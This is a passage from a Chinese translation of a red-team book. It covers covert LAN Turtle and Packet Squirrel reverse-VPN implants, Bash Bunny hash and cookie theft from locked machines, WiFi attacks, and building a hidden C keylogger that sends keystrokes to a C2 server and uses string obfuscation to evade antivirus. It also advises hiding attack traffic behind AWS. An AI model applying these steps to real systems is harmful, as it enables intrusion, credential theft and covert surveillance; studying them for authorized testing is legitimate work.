dropbox(一款可以同步本地文件的网络存储在线网盘应用)。尽管它带有许多其他功能和应用程序工具,如自动连接 SSH、DNS 欺骗、meterpreter、ptunnel、script2email、urlsnarf、responder 等等,但红队使用的主要功能是“使用 LAN Turtle 获得进入网络的权限”。 过去,甚至在前几版书中,我们使用 SSH 反向代理 shell。这样通常管用,但对于更深入的扫描/复杂的攻击,我们需要完全访问网络。为此,我们必须配置反向的 VPN 连接。那么,怎样进行反向 VPN 连接? 是这样的,因为 LAN Turtle 会被插入入侵目标组织内网中的某个台式机的后面,所以我们不能直接连接到它。因此,我们将让 LAN Turtle 首先通过端口 443 外连到 VPN,然后作为服务器返回到我们的 OpenVPN 。从我们用来做攻击的 Kali 机器中,我们也必须登录进 VPN 服务器。一旦 LAN Turtle 和我们的攻击者机器都通过VPN 连接到我们的服务器中,我们就可以把流量从 LAN Turtle 转发到攻击机器来进行扫描或漏洞利用。 虽然 OpenVPN 反向代理通道不是什么新技术,但 Hak5 的团队在整合教程方面做得非常好。我不得不修改了以下一些命令,如果你想了解更多,请观看他们的 YouTube 视频:https://www.youtube.com/watch?v=b7qr0laM8kA 。 具体的使用步骤主要是以下三步: 在 Internet 上配置一个 OpenVPN 访问服务器(OpenVPN AS); 其次,配置 LAN Turtle ; 最后,配置攻击者机器 。 设置运行 OpenVPN 服务的 VPS : 我们要确保我们的 VPN 服务器对外提供服务。我们通常喜欢在 VPS 服务器提供商上托管我们的 VPN 服务器,因为它们非常容易和快速设置。提前警告一声,请向你的 VPS 提供商咨询,确保他们允许你搞事。 常见的 VPS 提供商有 Linode 和 Amazon Lightsail 。因为他们的 VPS 速度快、价格便宜且易于设置。AWS Lightsail VPS 就不错,选择它的另一个原因是:有许多攻击者都会采用 AWS 做攻击,躲在这些如洪水般的流量背后,受害者将更难以察觉是谁攻击他们的。 去 Lightsail.aws.amazon.com 创建一个新的 VPS 创建后,转到“管理”->“联网” 添加两个安全组设置 TCP 端口(443和943) 创建 VPS 服务器后,登录: 确保 chmod 600 你的 SSH 密钥并登录到你的服务器 ssh -i LightsailDefaultPrivateKey-us-west-2.pem ubuntu@[IP] 通过 SSH 进入服务器之后 切换到 root 用户: sudo su - 更新服务器: apt-get update && apt-get upgrade 安装 OpenVPN AS。请点击此处查找最新版本 复制链接并下载到 VPS 。示例: wget http://swupdate.openvpn.org/as/openvpn-as-2.1.12-ubuntu16.amd_64.deb 安装 OpenVPN AS: dpkg -i openvpn-as-2.1.12-Ubuntu16.amd_64.deb 删除当前配置文件并配置 OpenVPN : /usr/local/openvpn_as/bin/ovpn-init 安装过程中: 确保为所有接口设置管理员界面 将“通过内部数据库使用本地身份验证”设置为“是” 更新 OpenVPN 密码: passwd openvpn 将943端口的 IPTables 设置为仅允许来自你的网络的连接 设置 OpenVPN 服务器: 转到 https://[vps服务器的IP地址]:943/admin/ 使用用户名 “openvpn” 和你刚刚设置的密码登录 如果使用的是 AWS Lightsail: 转到服务器网络设置,确保:主机名或IP地址是正确的公网 IP 地址,而不是私有 IP 地址 保存并更新 验证身份验证是否设置为本地: Authentication -> General -> Local -> Save Settings -> Update Server 创建两个启用了“允许自动登录”的用户(我创建的是 lanturtle 和 redteam): User Management -> User Permissions 对于每个用户: 设置允许自动登录 确保为这两个用户都分别设置密码 对于 lanturtle 帐户,为了允许通过 VPN 连接,我们需要启用一些权限: 确保在用户权限选项下启用/配置: 所有服务端私有子网 所有其他的 VPN 客户端 下载 OpenVPN 配置文件: 连接下载配置文件: https://[你的VPS]:943/?src=connect 对于每个用户( redteam 和 lanturtle ) 登录并下载个人资料(自动登录配置文件) 分别保存为 turtle.ovpn 和 redteam.ovpn 设置 LAN Turtle 和初始配置: 插入 USB 并且自动连入网络 nmap 扫描本地 22 端口 nmap x.x.x.x/24 -p22 -T5 --open 通过 SSH 连接 root 用户(root@[ip]),密码为 sh3llz 更新你的 LAN TURTLE 更改 MAC 地址很重要。LAN Turtle 使用类似制造商的 MAC 地址,所以你要做些修改来确保你看起来像个随机的设备: 更改你的 MAC 地址 安装 OpenVPN : 选择 Modules -> Select -> Configure -> Directory ,然后点击确定 安装 OpenVPN 设置你的 OpenVPN 配置文件: 返回 Modules-> OpenVPN -> configure->粘贴所有来自 turtle.opvn 的内容并保存 我们还希望确保 LAN Turtle OpenVPN 服务器在服务器启动时自动开启运行: 选择 Modules-> OpenVPN ->Enable 最后,我们需要修改 LAN Turtle 上的防火墙规则: 退出 Turtle 菜单并编辑防火墙规则(使用 nano 文本编辑器编辑 /etc/config/firewall 文件) nano /etc/config/firewall 接着,在文件中修改 vpn 这一部分的设置 确保“option forward”设置为“ACCEPT” 添加以下配置转发规则: 配置转发 option src wan option dest lan 配置转发 option src vpn option dest wan 配置转发 option src wan option dest vpn 重新回到 Turtle 菜单 -> Modules -> openvpn -> start 上面的操作应该会启动我们的 Turtle 上的 OpenVPN 客户端。为了确保设置生效,回到我们的 OpenVPN AS 服务器并检查连接。 我们现在已经配置了 LAN Turtle,这样每当它连接到一个网络时,它就会回连到我们的 VPN 服务器。并且我们可以通过 SSH 连进 LAN Turtle 了。让我们通过一个例子来感受一下这个过程: 从 Kali 攻击主机访问 VPN 服务器: openvpn -config ./redteam.ovpn 获取对方所在网络的IP地址,以便从我们的 redteam vpn 传输所有流量。 SSH 进入 LAN Turtle 退出 Turtle 菜单,获取受害者网络内部接口(ifconfig)的 IP 地址。根据 IP 和 BCAST(广播地址)计算出 IP 范围。在我们的示例中,Turtle 所在的网络是 10.100.100.0/24 最后,开启流量转发: 返回 OpenVPN AS并编辑 lanturtle 这个用户 用户权限(User Permissions)页面->搜索用户名 lanturtle->显示 将 VPN 网关编辑为“是”并添加内部范围(例如 10.100.100.0/24) 保存并更新 通过 LAN Turtle 上的 SSH 连接,使用 reboot 命令重启 现在,我们可以让攻击机透过在 LAN Turtle 上架设的 VPN 通道,将我们的所有流量传输到受害者公司内网。在下图中,我们登录进入 VPN 服务器,扫描 LAN Turtle 的范围为 10.100.100.0/24 的内部网络。我们可以看到,我们已经成功地配置了从 VPN 网关通过 LAN Turtle 到公司网络的路由传输。现在,在 Kali 攻击机上面,可以运行完整的漏洞扫描、网络抓取、Masscans 扫描甚至更多其他操作。 好的!现在你有了一个快速插入的设备,它让你与受害者网络保持全局连接。为了做的更好,还可以完善一下: 设置一个每天重启设备的定时任务。VPN 隧道连接可能会断开,但每当 LAN Turtle 重新启动时,VPN 连接会重新启动。 某些公司封锁了某些可通往外网的端口。在本例中,我们使用了443端口,在许多环境中,这个端口可以和外网通信。对于使用 Web 代理的某些公司网络,可能会阻止通过 443 端口直接连接外网。可能需要配置 LAN Turtle ,以在启动连接时,自动尝试多个不同的端口或协议(TCP/UDP)。 如果要安装两个或更多设备,请确保这些设备的 VPN 服务器和 MAC 地址是不一样的。曾有几个真实的案例,我们的设备几乎在每次入侵时都被发现了,然而这完全是偶然事。原因是 IT 基础设施正在被移动或者更换了计算机。 Packet Squirrel Packet Squirrel 使用 Micro-USB 接口充电,但是并非是通过 USB 接口那一端插入有线 USB 网卡,Packet Squirrel 两端都接网线,这是另一种捕获流量或创建 VPN 连接的方式。 配置 Packet Squirrel 的方法和 LAN Turtle 差不多; 编辑 /root/payloads/switch3/payload.sh FOR_CLIENTS=1 编辑 /etc/config/firewall 对防火墙进行当时你为 LAN Turtle 所做的完全相同的更改 将 LANTurtle.ovpn 文件上传到 /root/payloads/switch3/config.ovpn 现在你有了另一个和 LAN Turtle 有类似功能的设备,一旦连接到网络,就会有一个反向的 VPN 连接,从你这儿连接回对方公司。 对了,你还可以对 Packet Squirrel 进行自己的升级和优化,如果你把它琢磨透了的话,就可以用 SWORD(software optimization for the retrieval of data, 数据检索软件优化)轻松地将 Packet Squirrel 转换为基于 OpenWRT 的渗透测试工具箱( https://medium.com/@tomac/a-15-openwrt-based-diy-pen-test-dropbox-26a98a5fa5e5 )。 参考资源: https://www.hak5.org/episodes/hak5-1921-access-internal-networks-with-reverse-vpn-connections http://www.ubuntuboss.com/how-to-install-openvpn-access-server-on-ubuntu-15-10/ https://trick77.com/how-to-set-up-transparent-vpn-internet-gateway-tunnel-openvpn/ https://www.hak5.org/gear/packet-squirrel/docs Bash Bunny 前书中我们讨论了 Rubber Ducky 以及它是如何模拟 HID 设备(如键盘)来存储命令。对红队成员而言,Rubber Ducky 仍然是个不错的工具,因为它可以加速 PowerShell 命令的传递,用于社会工程学攻击,并且可以在没有键盘但有 USB 插槽的柜台系统(如 ATM 机、自动售货机等)上做出入侵操作。 Bash Bunny 是 Rubber Ducky 的升级版本。它不仅可以执行 HID 攻击(HID 是 Human Interface Device的缩写,意思是人机接口设备),还有许多其他操作。Bash Bunny 有两个独立的设置选项来分别保存对 BunnyTap 和 QuickCreds 这两种攻击的设置(以及一个额外的管理设置)。这些 payload 可以执行攻击来窃取凭证、进行网络钓鱼、执行 Ducky 攻击、运行 PowerShell 命令、执行扫描和侦察、执行 Metasploit autopwn 等。 译者注 :HID Attack 是最近几年流行的一类攻击方式。HID 是 Human Interface Device的缩写,意思是人机接口设备。它是对鼠标、键盘、游戏手柄这一类可以操控电脑设备的统称。 由于电脑对这类设备缺少严格的检测措施,只是简单的识别设备类型,就允许设备对电脑进行各项操作。所以,通过修改篡改设备反馈信息,就可以很轻松的让电脑将其他设备误认为 HID 设备,从而获取控制权限。尤其是 USB 和蓝牙这类即插即用接口出现,导致 HID Attack 成为重要方式。例如,Bad USB 就是 USB 类攻击的典型代表。 参考资料:WHID Injector:将 HID 攻击带入新境界 前书,我们谈到了使用 KonBoot 来绕过你没有密码的机器。KonBoot 在未加密的机器上工作时,可以从 U 盘启动并覆写本地管理员的密码。尽管这个操作需要完整地重启客户机,但一旦重启完成,你就可以不用借助任何凭证的访问被攻击的机器。我们团队一直使用 KonBoot 并且取得了很好的效果。所以如果你还没尝试过 KonBoot 的话,不妨一试。 但是,仍然有两个理由使你不想选择 KonBoot: 此攻击在加密的计算机上不起作用; 你可能不想重启受害者的计算机。 那么如何从被锁定的系统中获取信息,以访问网络上的其他内容或者取得哈希、身份凭据?这就是 Bash Bunny 初显身手的地方。 我们将使用 Bash Bunny 运行两种不同攻击的 payload。在我们可以进入该目标组织的机房的前提下,这两种攻击都允许我们从一个被锁定(或未锁定)的系统中获取信息。下面演示如何使用 BunnyTap 和 QuickCreds 。 闯入 Cyber Space Kittens 几个小时后你终于进到 Cyber Space Kittens 部门内。没被人察觉,所以你有几小时的时间来进行入侵行动。你入侵第一台机器,装上 KonBoot 并重启机器,但你注意到这些机器的系统是加密的。然后你转到下一台处于屏幕锁定保护状态的计算机。你两次插入 Bash Bunny,运行 BunnyTap 和 QuickCreds 。几分钟后,通过运行 Responder,QuickCreds 收集到了Net-NTLMv2 哈希值。将它放进 Hashcat 运行,片刻钟就破解了用户密码!在我们无法获取或破解哈希的机器上,BunnyTap 会运行 PosionTap,它可以对常见的站点捕获 cookie,这可以用于对内部应用程序进行配置。我们把这些窃取到的 cookie 保存到我们的攻击者笔记本电脑,将我们的攻击者笔记本电脑连接到他们的网络,用本地保存的窃取到的 cookie 来替换敏感 Web 应用程序中现在的cookie,这样我们就在不知道密码的情况下获取了这些 Web 应用程序的访问权限。 在 Kali 环境下设置 Bash Bunny 下载最新固件:https://bashbunny.com/downloads 将 Bash Bunny 的开关3(最靠近 USB 端口那个)设置为启用模式。 将下载的固件放在 USB 挂载的根目录, 拔出 Bash Bunny,再重新插入,然后等待大约 10 分钟,直到它呈蓝色闪烁。 完成后,重新进入 Bash Bunny 并编辑 payloads>switch1>payload.txt 这个文件。 # System default payload LED B SLOW ATTACKMODE ECM_ETHERNET STORAGE 拔出你的设备 在你的 Kali 系统中,设置 Internet 共享: wget bashbunny.com/bb.sh chmod +x bb.sh ./bb.sh Guided Mode(所以选项都保留默认值) 在 Bash Bunny 上,打开开关1(离 USB 插孔最远的那个开关)上,然后插入。完成后,请确保连接到 Bash Bunny,在那里你可以看到 Cloud <-> Laptop <-> Bunny image 在你的 Kali 机器上,用密码 hak5bunny 通过 SSH 进入 Bash Bunny 登陆进入你的 Bash Bunny 在你的 Kali 机器上,用密码 hak5bunny 通过 SSH 进入 Bash Bunny ssh [email protected] 让我们更新 Bash Bunny 并安装一些工具 apt-get update apt-get upgrade export GIT_SSL_NO_VERIFY=1 git clone https://github.com/lgandx/Responder.git/tools/responder git clone https://github.com/CoreSecurity/impacket.git/tools/impacket cd /tools/impacket && python ./setup.py install apt-get -y install dsniff 在 Kali 机器的另一个终端上,安装你想要的所有模块。 git clone https://github.com/hak5/bashbunny-payloads.git /opt/bashbunny-payloads 你可以选择任何类型的 payload ,但是在我们的例子中,我们将使用 BunnyTap 和 QuickCreds 这两个 payload 来设置 Bash Bunny cp -R /opt/bashbunnypayloads/payloads/library/credentials/BunnyTap/* /media/root/BashBunny/payloads/switch1/ cp -R /opt/bashbunnypayloads/payloads/library/credentials/QuickCreds/* /media/root/BashBunny/payloads/switch2/ 注意,在 switch1 和 switch2 文件夹中都有一个名为 payload.txt 的文件。而对于每一个这个文件,你需要将其配置为攻击 Windows 或 Mac 计算机。对于 Windows 机器,确保 AttackMode 设置为 RNDIS_ETHERNET,对于 Mac,将 AttackMode 配置为 ECM_ETHERNET。 QuickCreds QuickCreds 是一个很棒的工具,它使用 Responder 攻击从锁定和未锁定的机器上捕获 NTLMv2 Challenge 哈希。假设你在做一次物理评估,为此你闯进一栋大楼,碰到了一堆锁着的机器。你使用 QuickCreds 的开关插入 Bash Bunny ,每台机器等待大约 2 分钟。Bash Bunny 将接管网络适配器,使用 Response 重新传输任何共享和身份验证请求,然后记录这些数据。它将所有凭证保存到 USB 磁盘上的 loot 文件夹中。 译者注: 如若不懂“NTLMv2 Challenge 哈希”,可以参考此篇:Windows 下的密码 hash——NTLM hash 和 Net-NTLM hash 介绍 参考资料: https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library/credentials/QuickCreds https://room362.com/post/2016/snagging-creds-from-locked-machines/ BunnyTap BunnyTap 基于由 Samy Kamkar 开发的知名工具 PoisonTap ( https://www.youtube.com/watch?v=Aatp5gCskvk )。PoisonTap 是一个非常优秀的工具,即使是在锁定的机器上,也可以执行以下操作: 通过 USB(或 Thunderbolt )模拟以太网设备。 劫持所有来自机器的网络流量(尽管是通过低优先级或未知的网络接口)。 从 Web 浏览器中提取和存储位居 Alexa 排行榜最受欢迎的前100,0000 站的 HTTP cookie 和会话。 将内部路由器暴露给攻击者,这样攻击者就可以通过连接外网的 WebSocket 和 DNS 重新绑定攻击来远程访问内部路由器。(感谢 Matt Austin 提供的关于“DNS 重新绑定攻击”的思路!) 在 HTTP 缓存中,为数十万个域名和常见的 JavaScript CDN URL 安装一个基于 Web 的持久后门。通过缓存投毒的方式,我们可以获取用户对于这些资源的 cookie 。 允许攻击者通过在任何有后门的域中获取的用户 cookie,来远程强制用户来发起 HTTP 请求(包括 GET 和 POST)和通过代理传回响应。 不需要将机器解锁。 后门和远程访问权限即使在设备被移除且攻击者离开后仍然存在( https://samy.pl/poisontap/ )。 从一次物理评估的角度来看,你进入他们的办公室,在每台机器上插上 Bash Bunny,然后等待大约2分钟。Bash Bunny 会让电脑中的所有流量都走 Bash Bunny 转发。如果他们有一个打开并且活动的浏览器(如广告或任何定期更新的页面),BunnyTap 将启动并向所有 Alexa Top 100,0000 网站发出请求。此时,受害者用户若登录到这些站点中的任何一个,BunnyTap 将捕获受害者的所有 cookie。现在,我们可以将这些 cookie 发回到自己的计算机上,把我们的 cookie 替换成他们的,这样即可在不知道他们密码的情况下,冒充他们的身份进入网站。 请务必查看所有 Bash Bunny 的 payload: https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library WiFi WiFi 攻击方面,我们攻击受害者的方式没有什么大变化。虽然 WEP 加密网络的使用显著减少,但攻击方式仍包括反认证、aireplay-ng 和捕获 IV 数据包。对于 WPA 无线网络,最好的攻击手段,依旧是对客户端进行反认证 、捕获握手包、将其传递给 hashcat 对密码进行破解。以上这几种方法屡试不爽。工具方面,我最爱的工具是 Wifite2 的完全重写的版本,这个新版本带有一个 Alfa AWUS036NHA 无线网卡。这是一个非常易于使用的接口,可以支持多种攻击,基于 aircrack 工具套装,令它可以很容易地破解捕获的哈希值。 关于发动 WiFi 攻击的装备,除了使用一对 Alfa 无线网卡,执行更加隐蔽的 WiFi 攻击的简单方法是使用 WiFi Pineapple Nano。如果你想建立一个假的主无线接入点,通过天线改变他们流量的通信路径,用伪造页面捕获身份验证,执行所有的中间人攻击,运行 Responder 和其他攻击的话,WiFi Pineapple Nano 是一个能执行此操作的轻量级硬件工具。 除了 Pineapple,还有其他一些工具可以用来攻击公司网络。其中一个就是 eaphammer。 eaphammer 的功能: 从 WPA-EAP 和 WPA2-EAP 网络窃取 RADIUS 凭据。 执行恶意门户攻击,以窃取 AD 凭证,并执行间接无线枢轴。 执行 captive portal 攻击。 内置响应器集成。 支持开放网络和 WPA-EAP/WPA2-EAP。 大多数攻击无需手动配置。 安装和设置过程无需手动配置。 使用最新版本的 hostapd(2.6)。 支持恶意的 twin 攻击和 karma 攻击。 为间接无线枢轴生成定时 PowerShell payload。 针对恶意门户攻击的集成 HTTP 服务器。 支持 SSID 隐藏。 eaphammer 最好的地方是使用自定义攻击功能来执行 responder 攻击或捕获 NTLM challange 身份验证哈希以进行破解( https://github.com/s0lst1c3/eaphammer#iii---stealing-ad-credentials-using-hostile-portal-attacks ) 以及间接的无线枢轴( https://github.com/s0lst1c3/eaphammer#iv---indirect-wireless-pivots )。 为避免读者没看到上面的注释,所以译者再次注: 如若不懂“NTLMv2 Challenge 哈希”,可以参考此篇:Windows 下的密码 hash——NTLM hash 和 Net-NTLM hash 介绍 本章总结 物理攻击是最有趣的事情之一。这会加速你的肾上腺素分泌,让自己觉得像个罪犯,迫切地想行恶。在我们的许多红队行动中,我们可能会花上几天的时间来为一家公司进行踩点,观察警卫的轮换,并弄清楚他们都有什么类型的门。我们可能会尝试拍摄他们的工卡的照片,记录人们离开大楼的时间,并找出能让我们进入大楼的薄弱环节。 从红队的角度来看,我们不仅要观察他们物理设施方面的安全薄弱点,也要注意他们内部的人。 如果触发了警报,相关员工要过久才能觉察并应对? 摄像头是否开启全天候监控?是这样的话,如果发现什么可疑,到相关人员来排查,能有多长空余时间? 有人看守后门等其他的不常用出口吗? 如果行踪败露,你有办法脱身吗? 如果乔装打扮成该公司(或任何为该公司提供第三方服务)的员工,对方公司会对你的入侵行为做什么反应? 最后要注意的是,在开始入侵行动之前,确保要有一个明确的攻击范围、一封入侵目标公司给你做的书面授权证明、首席安全官或物理设施安全负责人的电话号码,并确保与对方达成共识、进行合作。准备措施做得越好,就能更好的避免不必要的误会和麻烦。但是因为这终究是一种危险的委托,所以我也无法保证精心准备就一定能万无一失。 第7章 四分卫突破——逃避杀毒软件和网络检测 为红队行动编写工具 红队人员和渗透测试人员比较明显的区别之一就是红队人员能快速的适应并理解不同的防护。无论是理解低级语言(机器代码和汇编语言),编写shellcode,创建自定义的 C2 二进制可执行文件,还是修改代码来隐藏恶意程序,它们都是我们(红队)日常工作的一部分。我总是遇到不会编程的渗透测试人员,虽然这不是一项硬性要求,但是编程水平确实会决定他们专业成长的高度。 因此,我专门编写这一章节来给那些没有使用过偏向底层的低级语言编程的人一个良好的入门方向。 基础的键盘记录器 键盘记录器是所有渗透测试人员 / 红队人员的必备工具,本节将指导你制作通用的键盘记录器。 有时我们只想持续监控某个用户或获取其他凭据。 这可能是因为我们此时无法进行任何类型的横向移动或者权限提升,或者我们可能只想监视用户以便更好开展将来的入侵活动。 在这些情况下,我们通常喜欢放置一个持续在受害者系统上运行的键盘记录器并将键盘记录的数据发送到外网。 以下示例只是一个 POC ,本实验的目的是让你从这里了解基础知识和构建它们。 它全部用 C 语言(较底层的语言)来编写的原因是保持二进制文件相对较小、更好的系统控制、并且规避杀毒软件。 在之前的书中,我们使用 Python编写了一个键盘记录器并使用 py2exe 对其进行编译以使其成为二进制文件,但这些很容易就被检测到。 让我们来看一个稍微复杂的例子。 设置你的环境 这是在 C 中编写和编译以生成 Windows 二进制文件并创建自定义键盘记录器所需的基本设置。 在一个虚拟机中安装 Windows 10 安装 Visual Studio ,以便你可以使用命令行编译器和使用 Vim 进行代码编辑 到目前为止,Windows API 编程的最佳学习资源是微软自己的开发者网络网站 MSDN。 MSDN 是一个非常宝贵的资源,它详细说明了系统调用,数据类型和结构定义,并包含了许多示例。通过阅读微软出版社出版的《Windows Internals》书籍,可以更深入地了解 Windows 操作系统, 虽然这个项目中并不是特别需要这个。 对于学习 C 语言,有一本好书,C 语言的创始人之一参与了对此书的撰写,名为《C语言程序设计》(The C Programming Language),书的作者是 Kernighan 和 Ritchie。最后,可以阅读《Beej’s Guide to Network Programming》,有印刷版和在线版,这是 C 语言中关于的 socket 编程的一本很好的入门读物。 从源码编译 在这些实验中,将会有多个示例代码和例子。实验室将使用微软的 Optimizing Compiler 编译代码,该编译器随 Visual Studio 社区版本一起提供,并内置于 Visual Studio 开发者命令提示符(Visual Studio Developer Command Prompt)中。安装 VS 社区版本后,请通过 工具(Tools) --> 获取工具和功能(Get Tools and Features) 安装 C++ 的组件 通用 Windows 平台开发和桌面开发。要编译示例源码,请打开开发者命令提示符的一个实例,然后切换到包含源代码文件的文件夹目录。 最后,运行命令 cl sourcefile.c io.c。这将生成一个与源文件同名的可执行文件。 编译器默认为 32 位,但此代码也可以用64位进行编译。要编译64位程序,请运行位于 Visual Studio 文件夹中的批处理程序。在命令提示符中,切换到目录 “ C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\VC\Auxiliary\Build ” ,注意,这个目录可能会因为你的 Visual Studio 版本而改变(但是大致是以上目录)。然后,运行命令 vcvarsall.bat x86_amd64 ,这将设置 Microsoft 编译器编译 64 位的二进制文件而不是编译成 32 位的。现在,你可以通过运行 cl path/to/code.c(path 是源码文件的绝对路径)来编译代码。 示例框架 该项目的目标是创建一个键盘记录器,利用 C 语言和底层 Windows 功能来监视击键。该键盘记录器使用 SetWindowsHookEx和 LowLevelKeyboardProc 函数 。 SetWindowsHookEx 允许在本地和全局上下文中设置各种类型的 Hook(钩子)。在这种情况下,WH_KEYBOARD_LL参数将用于提取底层键盘事件 。 SetWindowsHookEx 的函数原型看起来像这样( http://bit.ly/2qBEzsC): HHOOK WINAPI SetWindowsHookEx( _In_ int idHook, _In_ HOOKPROC lpfn, _In_ HINSTANCE hMod, _In_ DWORD dwThreadId ); 该函数创建了定义为整型的 hook 的 ID、指向函数的指针、句柄和线程 ID。前两个值是最重要的。你即将要安装的 hook 的 ID 数据类型是整型。Windows 会在功能页面上列出的可用 ID 。在我们的例子中,将使用 ID 13 或 WH_KEYBOARD_LL 。HOOKPROC 是一个指向回调函数的指针,每次被钩住的进程接收数据时都会调用该函数。这意味着每次按下一个键,都会调用 HOOKPROC。这是用于将击键写入文件的函数。hMod 是包含 lpfn 指针指向的函数的 DLL 的句柄。此值将设置为 NULL,因为函数与 SetWindowsHookEx 在同一进程中使用。dwThreadId 将设置为0以将回调与桌面上的所有线程相关联。最后,该函数返回一个整数,该整数将用于验证 hook 是否已正确设置或以其他方式退出。 第二部分是回调函数。回调函数将为此键盘记录器完成一系列繁重的工作。此函数将处理接收击键,将其转换为 ASCII 字符以及记录所有文件操作。 LowLevelKeyBoardProc( http://bit.ly/2HomCYQ )的原型如下所示: LRESULT CALLBACK LowLevelKeyboardProc( _In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam ); 让我们回顾一下 LowLevelKeyBoardProc 所需的内容。该函数的参数是一个整数,告诉 Windows 如何解释该消息。这些参数中的两个是: wParam,它是消息的标识符 lParam,它是指向 KBDLLHOOKSTRUCT 结构体的指针 wParam 的值在功能页面中指定。还有一个页面描述了 KBDLLHOOKSTRUCT 的成员。lParam 的 KBDLLHOOKSTRUCT 的值称为 vkCode 或 Virtual-Key Code( http://bit.ly/2EMAGpw )。这是按下的键的代码,而不是实际的字母,因为字母可能会根据键盘的语言而有所不同。vkCode 需要稍后转换为相应的字母。现在不要着急把参数传递给我们的键盘回调函数,因为它们将在激活 hook 时由操作系统传递。 最后,挂钩键盘的初始架构代码如下所示:https://github.com/cheetz/ceylogger/blob/master/skeleton 在查看框架代码时,需要注意的一些事项是,在回调函数中包含pragma comment(预处理指令),消息循环和返回 CallNextHookEx 行。pragma comment 是用于链接 User32 DLL 的编译器指令。 此 DLL 包含将要进行的大多数函数调用,因此需要进行链接。它也可以与编译器选项相关联。接下来,如果正在使用 LowLevelKeyboardProc 函数,则必须使用消息循环。 MSDN 声明,“此钩子在安装它的线程的上下文中调用。 通过向安装了钩子的线程发送消息来进行调用。因此,安装钩子的线程必须有一个消息循环。“[ http://bit.ly/2HomCYQ ] 返回 CallNextHookEx 是因为 MSDN 声明 “ 调用 CallNextHookEx 函数链接到下一个钩子过程是可选的,但强烈建议调用,否则已安装钩子的其他应用程序将不会收到钩子通知,因此可能会出现错误行为。所以你应该调用 CallNextHookEx,除非你一定要阻止其他应用程序看到通知。“[ http://bit.ly/2H0n68h ] 接下来,我们继续构建从文件句柄开始的回调函数的功能。在示例代码中,它将在 Windows 系统的 Temp 目录(C:\Windows\Temp)中创建名为 “log.txt” 的文件。 该文件配置了 append 参数,因为键盘记录器需要不断地将击键输出到文件。如果此临时文件夹中没有该文件,则会创建一个同名文件(log.txt)。 回到 KBDLLHOOKSTRUCT结构体,代码声明了一个 KBDLLHOOKSTRUCT 指针,然后将其分配给 lParam。这将允许访问每个按键的 lParam 内的参数。 然后代码检查 wParam 是否返回 WM_KEYDOWN,这将检查按键是否被按下。这样做是因为钩子会在按下和释放按键时触发。如果代码没有检查 WM_KEYDOWN,程序将每次写入两次击键。 检查按键被按下后,需要有一个 switch语句,用于检查 lParam 的 vkCode(虚拟键代码)是否有特殊键。某些键需要以不同的方式写入文件,例如返回键(Esc),控制键(Ctrl),移位(shfit),空格(Space)和制表键(Tab)。对于默认情况,代码需要将按键的 vkCode 转换为实际的字母。 执行此转换的简单方法是使用 ToAscii 函数。ToAscii 函数将包含 vkCode,一个 ScanCode,一个指向键盘状态数组的指针,一个指向将接收该字母的缓冲区的指针,以及一个 uFlags 的 int 值。vkCode 和 ScanCode 来自按键结构体,键盘状态是先前声明的字节数组,用于保存输出的缓冲区,uFlags 参数将设置为0。 检查是否释放了某些键是非常必要的,例如 shift 键。这可以通过编写另一个 if 语句 来检查 WM_KEYUP,然后使用 switch语句 来检查所需的键来完成。 最后,需要关闭该文件并返回 CallNextHookEx。回调函数如下所示: https://github.com/cheetz/ceylogger/blob/master/callback 此时,键盘记录器功能完全正常,但依旧有一些问题。第一个是运行程序会产生一个命令提示符的窗口,这使得程序运行非常明显,并且窗口没有任何提示输出是非常可疑的。 另一个问题是将文件放在运行该键盘记录器的同一台计算机上并不是很好。 通过使用 Windows 特定的 WinMain 函数入口替换标准 C 语言的 Main 函数入口,可以相对容易地修复有命令提示符窗口的问题。根据我的理解,之所以有效是因为 WinMain 是 Windows 上图形程序的入口。尽管操作系统期望你为程序创建窗口,但我们可以命令它不要创建任何窗口,因为我们有这个控件。最终,该程序只是在后台生成一个进程而不创建任何窗口。 该程序的网络编程是简单粗暴的。首先通过声明 WSAData( http://bit.ly/2HAiVN7 ),启动 winsock ,清除提示结构体以及填写相关需求来初始化 Windows socket 函数。就我们的示例来说,代码将使用 AF_UNSPEC 用于 IPV4 和 SOC_STREAM 用于 TCP 连接,并使用 getaddrinfo 函数使用先前的需求填充 c2 结构体。在满足所有必需参数后,可以创建 socket。最后,通过 socket_connect 函数连接到 socket。 连接之后,socket_sendfile 函数将完成大部分工作。它使用 Windows 的 CreateFile 函数打开日志文件的句柄,然后使用 GetFileSizeEx 函数获取文件大小。获得文件大小后,代码将分配该大小的缓冲区,加上一个用于填充的缓冲区,然后将该文件读入该缓冲区。 最后,我们通过 socket 发送缓冲区的内容。 对于服务器端,可以在 C2 服务器的3490 端口上的启动 socat 侦听器,命令启动: socat:socat - TCP4-LISTEN:3490,fork 一旦启动监听器并且键盘记录器正在运行,你应该看到来自受害者主机的所有命令每 10 分钟被推送到你的 C2 服务器。 可以在此处找到键盘记录器的初始完整版本1: https://github.com/cheetz/ceylogger/tree/master/version1 。 在编译 version_1.c 之前,请确保将 getaddrinfo 修改为当前的 C2 的IP 地址。编译代码: cl version_1.c io.c 应该提到的最后一个函数是 thread_func 函数。thread_func 调用函数 get_time 来获取当前系统的分钟。然后检查该值是否可被 5 整除,因为该工具每隔 5 分钟发送一次键盘记录文件。如果它可以被 5 整除,它会设置 socket 并尝试连接到 C2 服务器。如果连接成功,它将发送文件并运行清理本地文件。然后循环休眠 59 秒。需要睡眠功能的原因是因为这一切都在一个固定的循环中运行,这意味着该函数将在几秒钟内获取时间,初始化连接,完成连接和发送文件。如果没有 59 秒的休眠时间,该程序最终可能会在 1 分钟的时间间隔内发送文件几十次。休眠功能允许循环等待足够长的时间以便切换到下一分钟,因此每 5 分钟仅发送一次文件。 混淆 有数百种不同的方法来执行混淆。虽然本章不能全部一一讲述,但我想为你提供一些基本的技巧和思路来解决绕过杀毒软件的问题。 你可能已经知道,杀毒软件会查找特定的字符串。可用于绕过杀毒软件的最简单方法之一是创建一个简单的旋转密码并移动字符串的字符。在下面的代码中,有一个解密函数,可以将所有字符串移动 6 个字符(ROT6)。这会导致杀毒软件可能无法检测到特征码。在程序开始时,代码将调用解密函数来获取字符串数组并将它们返回到本来的形式。解密函数如下所示: int decrypt(const char* string, char result[]) { int key = 6; int len = strlen(string); for(int n = 0; n < len; n++) { int symbol = string[n]; int e_symbol = symbol - key; result[n] = e_symbol; } result[len] = ‘\0’; return 0; } 你可以在此处的程序版本2中看到此示例:https://github.com/cheetz/ceylogger/tree/master/version2 。 